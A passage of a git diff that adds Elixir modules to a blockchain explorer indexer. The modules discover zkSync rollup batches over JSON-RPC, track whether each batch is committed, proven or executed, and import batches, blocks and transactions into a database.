`config`: A map containing `chunk_size`, specifying the number of `eth_getBlockByNumber` + # in one HTTP request, and `json_rpc_named_arguments` describing parameters for + # RPC connection. + # + # ## Returns + # - {l2_blocks_to_import, l2_transactions_to_import}, where + # - `l2_blocks_to_import` contains a list of all rollup blocks with their associations with + # the provided batches. The association is a map with the block hash and the batch number. + # - `l2_transactions_to_import` contains a list of all rollup transactions with their associations + # with the provided batches. The association is a map with the transaction hash and + # the batch number. + defp get_l2_blocks_and_transactions( + batches, + %{json_rpc_named_arguments: json_rpc_named_arguments, chunk_size: chunk_size} = _config + ) do + # Extracts the rollup block range for every batch, unfolds it and + # build chunks of `eth_getBlockByNumber` calls + {blocks_to_batches, chunked_requests, cur_chunk, cur_chunk_size} = + batches + |> Map.keys() + |> Enum.reduce({%{}, [], [], 0}, fn batch_number, cur_batch_acc -> + batch = Map.get(batches, batch_number) + + batch.start_block..batch.end_block + |> Enum.chunk_every(chunk_size) + |> Enum.reduce(cur_batch_acc, fn blocks_range, cur_chunk_acc -> + build_blocks_map_and_chunks_of_rpc_requests(batch_number, blocks_range, cur_chunk_acc, chunk_size) + end) + end) + + # After the last iteration of the reduce loop it is a valid case + # when the calls from the last chunk are not in the chunks list, + # so it is appended + finalized_chunked_requests = + if cur_chunk_size > 0 do + [cur_chunk | chunked_requests] + else + chunked_requests + end + + # The chunks requests are sent to the RPC node and parsed to + # extract rollup block hashes and rollup transactions. + {blocks_associations, l2_transactions_to_import} = + finalized_chunked_requests + |> Enum.reduce({blocks_to_batches, []}, fn requests, {blocks, l2_transactions} -> + requests + |> Rpc.fetch_blocks_details(json_rpc_named_arguments) + |> extract_block_hash_and_transactions_list(blocks, l2_transactions) + end) + + # Check that amount of received transactions for a batch is correct + batches + |> Map.keys() + |> Enum.each(fn batch_number -> + batch = Map.get(batches, batch_number) + transactions_in_batch = batch.l1_transaction_count + batch.l2_transaction_count + + ^transactions_in_batch = + Enum.count(l2_transactions_to_import, fn transaction -> + transaction.batch_number == batch_number + end) + end) + + {Map.values(blocks_associations), l2_transactions_to_import} + end + + # For a given list of rollup block numbers, this function extends: + # - a map containing the linkage between rollup block numbers and batch numbers + # - a list of chunks of `eth_getBlockByNumber` requests + # - an uncompleted chunk of `eth_getBlockByNumber` requests + # + # ## Parameters + # - `batch_number`: The number of the batch to which the list of rollup blocks is linked. + # - `blocks_numbers`: A list of rollup block numbers. + # - `cur_chunk_acc`: The current state of the accumulator containing: + # - the current state of the map containing the linkage between rollup block numbers and batch numbers + # - the current state of the list of chunks of `eth_getBlockByNumber` requests + # - the current state of the uncompleted chunk of `eth_getBlockByNumber` requests + # - the size of the uncompleted chunk + # - `chunk_size`: The maximum size of the chunk of `eth_getBlockByNumber` requests + # + # ## Returns + # - {blocks_to_batches, chunked_requests, cur_chunk, cur_chunk_size}, where: + # - `blocks_to_batches`: An updated map with new blocks added. + # - `chunked_requests`: An updated list of lists of `eth_getBlockByNumber` requests. + # - `cur_chunk`: An uncompleted chunk of `eth_getBlockByNumber` requests or an empty list. + # - `cur_chunk_size`: The size of the uncompleted chunk. + defp build_blocks_map_and_chunks_of_rpc_requests(batch_number, blocks_numbers, cur_chunk_acc, chunk_size) do + blocks_numbers + |> Enum.reduce(cur_chunk_acc, fn block_number, {blocks_to_batches, chunked_requests, cur_chunk, cur_chunk_size} -> + blocks_to_batches = Map.put(blocks_to_batches, block_number, %{batch_number: batch_number}) + + cur_chunk = [ + ByNumber.request( + %{ + id: block_number, + number: block_number + }, + false + ) + | cur_chunk + ] + + if cur_chunk_size + 1 == chunk_size do + {blocks_to_batches, [cur_chunk | chunked_requests], [], 0} + else + {blocks_to_batches, chunked_requests, cur_chunk, cur_chunk_size + 1} + end + end) + end + + # Parses responses from `eth_getBlockByNumber` calls and extracts the block hash and the + # transactions lists. The block hash and transaction hashes are used to build associations + # with the corresponding batches by utilizing their numbers. + # + # This function is not part of the `Indexer.Fetcher.ZkSync.Utils.Rpc` module since the resulting + # lists are too specific for further import to the database. + # + # ## Parameters + # - `json_responses`: A list of responses to `eth_getBlockByNumber` calls. + # - `l2_blocks`: A map of accumulated associations between rollup blocks and batches. + # - `l2_transactions`: A list of accumulated associations between rollup transactions and batches. + # + # ## Returns + # - {l2_blocks, l2_transactions}, where + # - `l2_blocks`: Updated map of accumulated associations between rollup blocks and batches. + # - `l2_transactions`: Updated list of accumulated associations between rollup transactions and batches. + defp extract_block_hash_and_transactions_list(json_responses, l2_blocks, l2_transactions) do + json_responses + |> Enum.reduce({l2_blocks, l2_transactions}, fn resp, {l2_blocks, l2_transactions} -> + {block, l2_blocks} = + Map.get_and_update(l2_blocks, resp.id, fn block -> + {block, Map.put(block, :hash, Map.get(resp.result, "hash"))} + end) + + l2_transactions = + case Map.get(resp.result, "transactions") do + nil -> + l2_transactions + + new_transactions -> + Enum.reduce(new_transactions, l2_transactions, fn l2_transaction_hash, l2_transactions -> + [ + %{ + batch_number: block.batch_number, + transaction_hash: l2_transaction_hash + } + | l2_transactions + ] + end) + end + + {l2_blocks, l2_transactions} + end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zksync/discovery/workers.ex b/apps/indexer/lib/indexer/fetcher/zksync/discovery/workers.ex new file mode 100644 index 000000000000..bd0bde1ef959 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zksync/discovery/workers.ex @@ -0,0 +1,174 @@ +defmodule Indexer.Fetcher.ZkSync.Discovery.Workers do + @moduledoc """ + Provides functions to download a set of batches from RPC and import them to DB. + """ + + alias Indexer.Fetcher.ZkSync.Utils.Db + alias Indexer.Prometheus.Instrumenter + + import Indexer.Fetcher.ZkSync.Discovery.BatchesData, + only: [ + collect_l1_transactions: 1, + extract_data_from_batches: 2 + ] + + import Indexer.Fetcher.ZkSync.Utils.Logging, only: [log_info: 1] + + @doc """ + Downloads minimal batches data (batch, associated rollup blocks and transactions hashes) from RPC + and imports them to the DB. Data is retrieved from the RPC endpoint in chunks of `chunk_size`. + Import of associated L1 transactions does not happen, assuming that the batch import happens regularly + enough and last downloaded batches does not contain L1 associations anyway. + Later `Indexer.Fetcher.ZkSync.BatchesStatusTracker` will update any batch state changes and + import required L1 transactions. + + ## Parameters + - `start_batch_number`: The first batch in the range to download. + - `end_batch_number`: The last batch in the range to download. + - `config`: Configuration containing `chunk_size` to limit the amount of data requested from the RPC endpoint, + and `json_rpc_named_arguments` defining parameters for the RPC connection. + + ## Returns + - `:ok` + """ + @spec get_minimal_batches_info_and_import(non_neg_integer(), non_neg_integer(), %{ + :chunk_size => integer(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }) :: :ok + def get_minimal_batches_info_and_import(start_batch_number, end_batch_number, config) + when is_integer(start_batch_number) and + is_integer(end_batch_number) and + (is_map(config) and is_map_key(config, :json_rpc_named_arguments) and + is_map_key(config, :chunk_size)) do + {batches_to_import, l2_blocks_to_import, l2_transactions_to_import} = + extract_data_from_batches({start_batch_number, end_batch_number}, config) + + batches_list_to_import = + batches_to_import + |> Map.values() + |> Enum.reduce([], fn batch, batches_list -> + [Db.prune_json_batch(batch) | batches_list] + end) + + Db.import_to_db( + batches_list_to_import, + [], + l2_transactions_to_import, + l2_blocks_to_import + ) + + last_batch = + batches_list_to_import + |> Enum.max_by(& &1.number, fn -> nil end) + + # credo:disable-for-next-line + if last_batch do + Instrumenter.set_latest_batch(last_batch.number, last_batch.timestamp) + end + + :ok + end + + @doc """ + Downloads batches, associates L1 transactions, rollup blocks and transactions with the given list of batch numbers, + and imports the results into the database. Data is retrieved from the RPC endpoint in chunks of `chunk_size`. + + ## Parameters + - `batches_numbers_list`: List of batch numbers to be retrieved. + - `config`: Configuration containing `chunk_size` to limit the amount of data requested from the RPC endpoint, + and `json_rpc_named_arguments` defining parameters for the RPC connection. + + ## Returns + - `:ok` + """ + @spec get_full_batches_info_and_import([integer()], %{ + :chunk_size => integer(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }) :: :ok + def get_full_batches_info_and_import(batches_numbers_list, config) + when is_list(batches_numbers_list) and + (is_map(config) and is_map_key(config, :json_rpc_named_arguments) and + is_map_key(config, :chunk_size)) do + # Collect batches and linked L2 blocks and transaction + {batches_to_import, l2_blocks_to_import, l2_transactions_to_import} = + extract_data_from_batches(batches_numbers_list, config) + + # Collect L1 transactions associated with batches + l1_transactions = + batches_to_import + |> Map.values() + |> collect_l1_transactions() + |> Db.get_indices_for_l1_transactions() + + # Update batches with l1 transactions indices and prune unnecessary fields + batches_list_to_import = + batches_to_import + |> Map.values() + |> Enum.reduce([], fn batch, batches -> + [ + batch + |> Map.put(:commit_id, get_l1_transaction_id_by_hash(l1_transactions, batch.commit_transaction_hash)) + |> Map.put(:prove_id, get_l1_transaction_id_by_hash(l1_transactions, batch.prove_transaction_hash)) + |> Map.put(:execute_id, get_l1_transaction_id_by_hash(l1_transactions, batch.executed_transaction_hash)) + |> Db.prune_json_batch() + | batches + ] + end) + + Db.import_to_db( + batches_list_to_import, + Map.values(l1_transactions), + l2_transactions_to_import, + l2_blocks_to_import + ) + + :ok + end + + @doc """ + Retrieves the minimal batch number from the database. If the minimum batch number is not zero, + downloads `batches_max_range` batches older than the retrieved batch, along with associated + L1 transactions, rollup blocks, and transactions, and imports everything to the database. + + ## Parameters + - `config`: Configuration containing `chunk_size` to limit the amount of data requested from + the RPC endpoint and `json_rpc_named_arguments` defining parameters for the + RPC connection, `batches_max_range` defines how many of older batches must be downloaded. + + ## Returns + - `:ok` + """ + @spec batches_catchup(%{ + :batches_max_range => integer(), + :chunk_size => integer(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }) :: :ok + def batches_catchup(config) + when is_map(config) and is_map_key(config, :json_rpc_named_arguments) and + is_map_key(config, :batches_max_range) and + is_map_key(config, :chunk_size) do + oldest_batch_number = Db.get_earliest_batch_number() + + if not is_nil(oldest_batch_number) && oldest_batch_number > 0 do + log_info("The oldest batch number is not zero. Historical baches will be fetched.") + start_batch_number = max(0, oldest_batch_number - config.batches_max_range) + end_batch_number = oldest_batch_number - 1 + + start_batch_number..end_batch_number + |> Enum.to_list() + |> get_full_batches_info_and_import(config) + end + + :ok + end + + defp get_l1_transaction_id_by_hash(l1_transactions, hash) do + l1_transactions + |> Map.get(hash) + |> Kernel.||(%{id: nil}) + |> Map.get(:id) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/committed.ex b/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/committed.ex new file mode 100644 index 000000000000..85ed1f9cbd45 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/committed.ex @@ -0,0 +1,86 @@ +defmodule Indexer.Fetcher.ZkSync.StatusTracking.Committed do + @moduledoc """ + Functionality to discover committed batches + """ + + alias Indexer.Fetcher.ZkSync.Utils.{Db, Rpc} + + import Indexer.Fetcher.ZkSync.StatusTracking.CommonUtils, + only: [ + check_if_batch_status_changed: 3, + associate_and_import_or_prepare_for_recovery: 4 + ] + + import Indexer.Fetcher.ZkSync.Utils.Logging, only: [log_info: 1] + + # keccak256("BlockCommit(uint256,bytes32,bytes32)") + @block_commit_event "0x8f2916b2f2d78cc5890ead36c06c0f6d5d112c7e103589947e8e2f0d6eddb763" + + @doc """ + Checks if the oldest uncommitted batch in the database has the associated L1 commitment transaction + by requesting new batch details from RPC. If so, analyzes the `BlockCommit` event emitted by + the transaction to explore all the batches committed by it. For all discovered batches, it updates + the database with new associations, importing information about L1 transactions. + If it is found that some of the discovered batches are absent in the database, the function + interrupts and returns the list of batch numbers that can be attempted to be recovered. + + ## Parameters + - `config`: Configuration containing `json_l1_rpc_named_arguments` and + `json_l2_rpc_named_arguments` defining parameters for the RPC connections. + + ## Returns + - `:ok` if no new committed batches are found, or if all found batches and the corresponding L1 + transactions are imported successfully. + - `{:recovery_required, batches_to_recover}` if the absence of new committed batches is + discovered; `batches_to_recover` contains the list of batch numbers. + """ + @spec look_for_batches_and_update(%{ + :json_l1_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :json_l2_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }) :: :ok | {:recovery_required, list()} + def look_for_batches_and_update( + %{ + json_l1_rpc_named_arguments: json_l1_rpc_named_arguments, + json_l2_rpc_named_arguments: json_l2_rpc_named_arguments + } = _config + ) do + case Db.get_earliest_sealed_batch_number() do + nil -> + :ok + + expected_batch_number -> + log_info("Checking if the batch #{expected_batch_number} was committed") + + {next_action, transaction_hash, l1_transactions} = + check_if_batch_status_changed(expected_batch_number, :commit_transaction, json_l2_rpc_named_arguments) + + case next_action do + :skip -> + :ok + + :look_for_batches -> + log_info("The batch #{expected_batch_number} looks like committed") + + commit_transaction_receipt = + Rpc.fetch_transaction_receipt_by_hash(transaction_hash, json_l1_rpc_named_arguments) + + batches_numbers_from_rpc = get_committed_batches_from_logs(commit_transaction_receipt["logs"]) + + associate_and_import_or_prepare_for_recovery( + batches_numbers_from_rpc, + l1_transactions, + transaction_hash, + :commit_id + ) + end + end + end + + defp get_committed_batches_from_logs(logs) do + committed_batches = Rpc.filter_logs_and_extract_topic_at(logs, @block_commit_event, 1) + log_info("Discovered #{length(committed_batches)} committed batches in the commitment transaction") + + committed_batches + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/common.ex b/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/common.ex new file mode 100644 index 000000000000..a5133d97bc2f --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/common.ex @@ -0,0 +1,178 @@ +defmodule Indexer.Fetcher.ZkSync.StatusTracking.CommonUtils do + @moduledoc """ + Common functions for status changes trackers + """ + + alias Explorer.Chain.ZkSync.Reader + alias Indexer.Fetcher.ZkSync.Utils.{Db, Rpc} + import Indexer.Fetcher.ZkSync.Utils.Logging, only: [log_warning: 1] + + @doc """ + Fetches the details of the batch with the given number and checks if the representation of + the same batch in the database refers to the same commitment, proving, or executing transaction + depending on `transaction_type`. If the transaction state changes, the new transaction is prepared for + import to the database. + + ## Parameters + - `batch_number`: the number of the batch to check L1 transaction state. + - `transaction_type`: a type of the transaction to check, one of :commit_transaction, :execute_transaction, or :prove_transaction. + - `json_l2_rpc_named_arguments`: parameters for the RPC connections. + + ## Returns + - `{:look_for_batches, l1_transaction_hash, l1_transactions}` where + - `l1_transaction_hash` is the hash of the L1 transaction. + - `l1_transactions` is a map containing the transaction hash as a key, and values are maps + with transaction hashes and transaction timestamps. + - `{:skip, "", %{}}` means the batch is not found in the database or the state of the transaction + in the batch representation is the same as the state of the transaction for the batch + received from RPC. + """ + @spec check_if_batch_status_changed( + binary() | non_neg_integer(), + :commit_transaction | :execute_transaction | :prove_transaction, + EthereumJSONRPC.json_rpc_named_arguments() + ) :: {:look_for_batches, any(), any()} | {:skip, <<>>, %{}} + def check_if_batch_status_changed(batch_number, transaction_type, json_l2_rpc_named_arguments) + when (is_binary(batch_number) or is_integer(batch_number)) and + transaction_type in [:commit_transaction, :prove_transaction, :execute_transaction] and + is_list(json_l2_rpc_named_arguments) do + batch_from_rpc = Rpc.fetch_batch_details_by_batch_number(batch_number, json_l2_rpc_named_arguments) + + status_changed_or_error = + case Reader.batch( + batch_number, + necessity_by_association: %{ + get_association(transaction_type) => :optional + } + ) do + {:ok, batch_from_db} -> transactions_of_batch_changed?(batch_from_db, batch_from_rpc, transaction_type) + {:error, :not_found} -> :error + end + + l1_transaction = get_l1_transaction_from_batch(batch_from_rpc, transaction_type) + + if l1_transaction.hash != Rpc.get_binary_zero_hash() and status_changed_or_error in [true, :error] do + l1_transactions = Db.get_indices_for_l1_transactions(%{l1_transaction.hash => l1_transaction}) + + {:look_for_batches, l1_transaction.hash, l1_transactions} + else + {:skip, "", %{}} + end + end + + defp get_association(transaction_type) do + case transaction_type do + :commit_transaction -> :commit_transaction + :prove_transaction -> :prove_transaction + :execute_transaction -> :execute_transaction + end + end + + defp transactions_of_batch_changed?(batch_db, batch_json, transaction_type) do + transaction_hash_json = + case transaction_type do + :commit_transaction -> batch_json.commit_transaction_hash + :prove_transaction -> batch_json.prove_transaction_hash + :execute_transaction -> batch_json.executed_transaction_hash + end + + transaction_hash_db = + case transaction_type do + :commit_transaction -> batch_db.commit_transaction + :prove_transaction -> batch_db.prove_transaction + :execute_transaction -> batch_db.execute_transaction + end + + transaction_hash_db_bytes = + if is_nil(transaction_hash_db) do + Rpc.get_binary_zero_hash() + else + transaction_hash_db.hash.bytes + end + + transaction_hash_json != transaction_hash_db_bytes + end + + defp get_l1_transaction_from_batch(batch_from_rpc, transaction_type) do + case transaction_type do + :commit_transaction -> + %{hash: batch_from_rpc.commit_transaction_hash, timestamp: batch_from_rpc.commit_timestamp} + + :prove_transaction -> + %{hash: batch_from_rpc.prove_transaction_hash, timestamp: batch_from_rpc.prove_timestamp} + + :execute_transaction -> + %{hash: batch_from_rpc.executed_transaction_hash, timestamp: batch_from_rpc.executed_timestamp} + end + end + + @doc """ + Receives batches from the database, establishes an association between each batch and + the corresponding L1 transactions, and imports batches and L1 transactions into the database. + If the number of batches returned from the database does not match the requested batches, + the initial list of batch numbers is returned, assuming that they can be + used for the missed batch recovery procedure. + + ## Parameters + - `batches_numbers`: the list of batch numbers that must be updated. + - `l1_transactions`: a map containing transaction hashes as keys, and values are maps + with transaction hashes and transaction timestamps of L1 transactions to import to the database. + - `transaction_hash`: the hash of the L1 transaction to build an association with. + - `association_key`: the field in the batch description to build an association with L1 + transactions. + + ## Returns + - `:ok` if batches and the corresponding L1 transactions are imported successfully. + - `{:recovery_required, batches_to_recover}` if the absence of batches is discovered; + `batches_to_recover` contains the list of batch numbers. + """ + @spec associate_and_import_or_prepare_for_recovery([integer()], map(), binary(), :commit_id | :execute_id | :prove_id) :: + :ok | {:recovery_required, [integer()]} + def associate_and_import_or_prepare_for_recovery(batches_numbers, l1_transactions, transaction_hash, association_key) + when is_list(batches_numbers) and is_map(l1_transactions) and is_binary(transaction_hash) and + association_key in [:commit_id, :prove_id, :execute_id] do + case prepare_batches_to_import(batches_numbers, %{association_key => l1_transactions[transaction_hash][:id]}) do + {:error, batches_to_recover} -> + {:recovery_required, batches_to_recover} + + {:ok, batches_to_import} -> + Db.import_to_db(batches_to_import, Map.values(l1_transactions)) + :ok + end + end + + # Receives batches from the database and merges each batch's data with the data provided + # in `map_to_update`. If the number of batches returned from the database does not match + # with the requested batches, the initial list of batch numbers is returned, assuming that they + # can be used for the missed batch recovery procedure. + # + # ## Parameters + # - `batches`: the list of batch numbers that must be updated. + # - `map_to_update`: a map containing new data that must be applied to all requested batches. + # + # ## Returns + # - `{:ok, batches_to_import}` where `batches_to_import` is the list of batches ready to import + # with updated data. + # - `{:error, batches}` where `batches` contains the input list of batch numbers. + defp prepare_batches_to_import(batches, map_to_update) do + batches_from_db = Reader.batches(batches, []) + + if length(batches_from_db) == length(batches) do + batches_to_import = + batches_from_db + |> Enum.reduce([], fn batch, batches -> + [ + batch + |> Rpc.transform_transaction_batch_to_map() + |> Map.merge(map_to_update) + | batches + ] + end) + + {:ok, batches_to_import} + else + log_warning("Lack of batches received from DB to update") + {:error, batches} + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/executed.ex b/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/executed.ex new file mode 100644 index 000000000000..03538bd82e9a --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/executed.ex @@ -0,0 +1,86 @@ +defmodule Indexer.Fetcher.ZkSync.StatusTracking.Executed do + @moduledoc """ + Functionality to discover executed batches + """ + + alias Indexer.Fetcher.ZkSync.Utils.{Db, Rpc} + + import Indexer.Fetcher.ZkSync.StatusTracking.CommonUtils, + only: [ + check_if_batch_status_changed: 3, + associate_and_import_or_prepare_for_recovery: 4 + ] + + import Indexer.Fetcher.ZkSync.Utils.Logging, only: [log_info: 1] + + # keccak256("BlockExecution(uint256,bytes32,bytes32)") + @block_execution_event "0x2402307311a4d6604e4e7b4c8a15a7e1213edb39c16a31efa70afb06030d3165" + + @doc """ + Checks if the oldest unexecuted batch in the database has the associated L1 executing transaction + by requesting new batch details from RPC. If so, analyzes the `BlockExecution` event emitted by + the transaction to explore all the batches executed by it. For all discovered batches, it updates + the database with new associations, importing information about L1 transactions. + If it is found that some of the discovered batches are absent in the database, the function + interrupts and returns the list of batch numbers that can be attempted to be recovered. + + ## Parameters + - `config`: Configuration containing `json_l1_rpc_named_arguments` and + `json_l2_rpc_named_arguments` defining parameters for the RPC connections. + + ## Returns + - `:ok` if no new executed batches are found, or if all found batches and the corresponding L1 + transactions are imported successfully. + - `{:recovery_required, batches_to_recover}` if the absence of new executed batches is + discovered; `batches_to_recover` contains the list of batch numbers. + """ + @spec look_for_batches_and_update(%{ + :json_l1_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :json_l2_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }) :: :ok | {:recovery_required, list()} + def look_for_batches_and_update( + %{ + json_l1_rpc_named_arguments: json_l1_rpc_named_arguments, + json_l2_rpc_named_arguments: json_l2_rpc_named_arguments + } = _config + ) do + case Db.get_earliest_unexecuted_batch_number() do + nil -> + :ok + + expected_batch_number -> + log_info("Checking if the batch #{expected_batch_number} was executed") + + {next_action, transaction_hash, l1_transactions} = + check_if_batch_status_changed(expected_batch_number, :execute_transaction, json_l2_rpc_named_arguments) + + case next_action do + :skip -> + :ok + + :look_for_batches -> + log_info("The batch #{expected_batch_number} looks like executed") + + execute_transaction_receipt = + Rpc.fetch_transaction_receipt_by_hash(transaction_hash, json_l1_rpc_named_arguments) + + batches_numbers_from_rpc = get_executed_batches_from_logs(execute_transaction_receipt["logs"]) + + associate_and_import_or_prepare_for_recovery( + batches_numbers_from_rpc, + l1_transactions, + transaction_hash, + :execute_id + ) + end + end + end + + defp get_executed_batches_from_logs(logs) do + executed_batches = Rpc.filter_logs_and_extract_topic_at(logs, @block_execution_event, 1) + log_info("Discovered #{length(executed_batches)} executed batches in the executing transaction") + + executed_batches + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/proven.ex b/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/proven.ex new file mode 100644 index 000000000000..19497c1e3b0d --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zksync/status_tracking/proven.ex @@ -0,0 +1,73 @@ +defmodule Indexer.Fetcher.ZkSync.StatusTracking.Proven do + @moduledoc """ + Functionality to discover proven batches + """ + + alias Indexer.Fetcher.ZkSync.Utils.{Db, Rpc} + + import Indexer.Fetcher.ZkSync.StatusTracking.CommonUtils, + only: [ + check_if_batch_status_changed: 3, + associate_and_import_or_prepare_for_recovery: 4 + ] + + import Indexer.Fetcher.ZkSync.Utils.Logging, only: [log_info: 1] + + @doc """ + Checks if the oldest unproven batch in the database has the associated L1 proving transaction + by requesting new batch details from RPC. If so, analyzes the calldata of the transaction + to explore all the batches proven by it. For all discovered batches, it updates + the database with new associations, importing information about L1 transactions. + If it is found that some of the discovered batches are absent in the database, the function + interrupts and returns the list of batch numbers that can be attempted to be recovered. + + ## Parameters + - `config`: Configuration containing `json_l1_rpc_named_arguments` and + `json_l2_rpc_named_arguments` defining parameters for the RPC connections. + + ## Returns + - `:ok` if no new proven batches are found, or if all found batches and the corresponding L1 + transactions are imported successfully. + - `{:recovery_required, batches_to_recover}` if the absence of new proven batches is + discovered; `batches_to_recover` contains the list of batch numbers. + """ + @spec look_for_batches_and_update(%{ + :json_l1_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :json_l2_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }) :: :ok | {:recovery_required, list()} + def look_for_batches_and_update( + %{ + json_l1_rpc_named_arguments: json_l1_rpc_named_arguments, + json_l2_rpc_named_arguments: json_l2_rpc_named_arguments + } = _config + ) do + case Db.get_earliest_unproven_batch_number() do + nil -> + :ok + + expected_batch_number -> + log_info("Checking if the batch #{expected_batch_number} was proven") + + {next_action, transaction_hash, l1_transactions} = + check_if_batch_status_changed(expected_batch_number, :prove_transaction, json_l2_rpc_named_arguments) + + case next_action do + :skip -> + :ok + + :look_for_batches -> + log_info("The batch #{expected_batch_number} looks like proven") + prove_transaction = Rpc.fetch_transaction_by_hash(transaction_hash, json_l1_rpc_named_arguments) + batches_numbers_from_rpc = Rpc.get_proven_batches_from_calldata(prove_transaction["input"]) + + associate_and_import_or_prepare_for_recovery( + batches_numbers_from_rpc, + l1_transactions, + transaction_hash, + :prove_id + ) + end + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zksync/transaction_batch.ex b/apps/indexer/lib/indexer/fetcher/zksync/transaction_batch.ex new file mode 100644 index 000000000000..dac1b1d84304 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zksync/transaction_batch.ex @@ -0,0 +1,149 @@ +defmodule Indexer.Fetcher.ZkSync.TransactionBatch do + @moduledoc """ + Discovers new batches and populates the `zksync_transaction_batches` table. + + Repetitiveness is supported by sending a `:continue` message to itself every `recheck_interval` seconds. + + Each iteration compares the number of the last handled batch stored in the state with the + latest batch available on the RPC node. If the rollup progresses, all batches between the + last handled batch (exclusively) and the latest available batch (inclusively) are downloaded from RPC + in chunks of `chunk_size` and imported into the `zksync_transaction_batches` table. If the latest + available batch is too far from the last handled batch, only `batches_max_range` batches are downloaded. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + alias Explorer.Chain.ZkSync.Reader + alias Indexer.Fetcher.ZkSync.Discovery.Workers + alias Indexer.Fetcher.ZkSync.Utils.Rpc + + import Indexer.Fetcher.ZkSync.Utils.Logging, only: [log_info: 1] + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + Logger.metadata(fetcher: :zksync_transaction_batches) + + config = Application.get_all_env(:indexer)[Indexer.Fetcher.ZkSync.TransactionBatch] + chunk_size = config[:chunk_size] + recheck_interval = config[:recheck_interval] + batches_max_range = config[:batches_max_range] + + Process.send(self(), :init, []) + + {:ok, + %{ + config: %{ + chunk_size: chunk_size, + batches_max_range: batches_max_range, + json_rpc_named_arguments: args[:json_rpc_named_arguments], + recheck_interval: recheck_interval + }, + data: %{latest_handled_batch_number: 0} + }} + end + + @impl GenServer + def handle_info(:init, state) do + latest_handled_batch_number = + case Reader.latest_available_batch_number() do + nil -> + log_info("No batches found in DB. Will start with the latest batch available by RPC") + # The value received from RPC is decremented in order to not waste + # the first iteration of handling `:continue` message. + Rpc.fetch_latest_sealed_batch_number(state.config.json_rpc_named_arguments) - 1 + + latest_handled_batch_number -> + latest_handled_batch_number + end + + Process.send_after(self(), :continue, 2000) + + log_info("All batches including #{latest_handled_batch_number} are considered as handled") + + {:noreply, %{state | data: %{latest_handled_batch_number: latest_handled_batch_number}}} + end + + # Checks if the rollup progresses by comparing the recently stored batch + # with the latest batch received from RPC. If progress is detected, it downloads + # batches, builds their associations with rollup blocks and transactions, and + # imports the received data to the database. If the latest batch received from RPC + # is too far from the most recently stored batch, only `batches_max_range` batches + # are downloaded. All RPC calls to get batch details and receive transactions + # included in batches are made in chunks of `chunk_size`. + # + # After importing batch information, it schedules the next iteration by sending + # the `:continue` message. The sending of the message is delayed, taking into account + # the time remaining after downloading and importing processes. + # + # ## Parameters + # - `:continue`: The message triggering the handler. + # - `state`: The current state of the fetcher containing both the fetcher configuration + # and the latest handled batch number. + # + # ## Returns + # - `{:noreply, new_state}` where the latest handled batch number is updated with the largest + # of the batch numbers imported in the current iteration. + @impl GenServer + def handle_info( + :continue, + %{ + data: %{latest_handled_batch_number: latest_handled_batch_number}, + config: %{ + batches_max_range: batches_max_range, + json_rpc_named_arguments: json_rpc_named_arguments, + recheck_interval: recheck_interval, + chunk_size: _ + } + } = state + ) do + log_info("Checking for a new batch or batches") + + latest_sealed_batch_number = Rpc.fetch_latest_sealed_batch_number(json_rpc_named_arguments) + + {new_state, handle_duration} = + if latest_handled_batch_number < latest_sealed_batch_number do + start_batch_number = latest_handled_batch_number + 1 + end_batch_number = min(latest_sealed_batch_number, latest_handled_batch_number + batches_max_range) + + log_info("Handling the batch range #{start_batch_number}..#{end_batch_number}") + + {handle_duration, _} = + :timer.tc(&Workers.get_minimal_batches_info_and_import/3, [start_batch_number, end_batch_number, state.config]) + + { + %{state | data: %{latest_handled_batch_number: end_batch_number}}, + div(handle_duration, 1000) + } + else + {state, 0} + end + + Process.send_after(self(), :continue, max(:timer.seconds(recheck_interval) - handle_duration, 0)) + + {:noreply, new_state} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end +end diff --git a/apps/indexer/lib/indexer/fetcher/zksync/utils/db.ex b/apps/indexer/lib/indexer/fetcher/zksync/utils/db.ex new file mode 100644 index 000000000000..eee7f470b442 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/zksync/utils/db.ex @@ -0,0 +1,206 @@ +defmodule Indexer.Fetcher.ZkSync.Utils.Db do + @moduledoc """ + Common functions to simplify DB routines for Indexer.Fetcher.ZkSync fetchers + """ + + alias Explorer.Chain + alias Explorer.Chain.ZkSync.Reader + import Indexer.Fetcher.ZkSync.Utils.Logging, only: [log_warning: 1, log_info: 1] + + @json_batch_fields_absent_in_db_batch [ + 